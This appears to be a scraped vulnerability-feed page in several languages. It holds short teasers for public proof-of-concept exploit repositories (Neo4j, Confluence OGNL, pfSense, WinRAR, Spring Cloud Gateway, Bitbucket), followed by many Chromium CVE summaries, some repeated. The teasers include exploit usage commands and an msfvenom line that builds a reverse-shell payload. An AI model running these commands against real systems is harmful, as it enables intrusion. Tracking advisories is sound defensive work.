CVE-2021-34371

CVE-2021-34371 python-эксплойт - Neo4j 3.4.18 - удаленное выполнение кода на основе RMI RCE...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084에 대한 개념 증명 Confluence Server Webwork OGNL 주입 Pre-Auth RCE 면책 조항 이는 교육 목적으로만 제공됩니다. 저는 귀하의 행동에 대해 책임을 지지 않습니다. 사용에 따른 책임은 본인에게 있습니다. 명령어 제한사항 페이로드로 인해 일부 문자를 전달할 수 없습니다. 아래 목록은 제 테스트 중 발견한 것입니다. 큰따옴표 " 세로 막대 | 대화형 셸 root@kitploit: go run exploit.go -t -i 예제...

CVE-2019-12949

CVE-2019-12949 От уязвимости межсайтового скриптинга к удалённому выполнению кода в pfSense 2.4.4-p2 и 2.4.4-p3 Описание: В pfSense 2.4.4-p2 и 2.4.4-p3, если удастся обманом заставить аутентифицированного администратора нажать на кнопку на фишинговой странице, злоумышленник может загрузить...

CVE-2018-20250

Настройка Видео-демонстрация: https://youtu.be/5tuWsi1tGS0 Виртуальная машина VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Шаги выполнения Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe...

CVE-2022-22947-Spring-Cloud-Gateway

Spring Cloud Gateway リモートコード実行の脆弱性 この脆弱性はオンラインビジネスへのリスクが高いため、無断スキャンは行わないでください 使い方 root@kitploit: ╰─ ./CVE-2022-22947 -h ─╯ 执行命令：./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami 批量检测：./CVE-2022-22947 -l url.txt 脆弱性環境の起動 root@kitploit: java -jar vuln/spring-gateway-demo-0.0.1-SNAPSHOT.jar...

cve-2022-36804

Atlassian Bitbucket RCE PoC - CVE-2022-36804 Этот репозиторий содержит простой PoC-скрипт для уязвимости удаленного выполнения кода в Atlassian Bitbucket. Вы можете запустить этот скрипт следующими командами: root@kitploit: echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py Или вы можете...

DEBIAN-CVE-2026-84354

Incorrect authorization in FileSystem in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

DEBIAN-CVE-2026-84353

Use after free in Shared Tab Groups in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

CVE-2026-84352

Use after free in WebGL in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

CVE-2026-84354

Incorrect authorization in FileSystem in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84353

Use after free in Shared Tab Groups in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

DEBIAN-CVE-2026-84352

Use after free in WebGL in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

DEBIAN-CVE-2026-84347

Use after free in WebRTC in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Medium...

DEBIAN-CVE-2026-84333

Use after free in Dawn in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84334

Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. Chromium security severity: Medium...

CVE-2026-84349

Use after free in Browser in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

DEBIAN-CVE-2026-84349

Use after free in Browser in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84347

Use after free in WebRTC in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Medium...

CVE-2026-84351

Buffer overflow in GPU in Google Chrome on on Windows prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84333

Use after free in Dawn in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...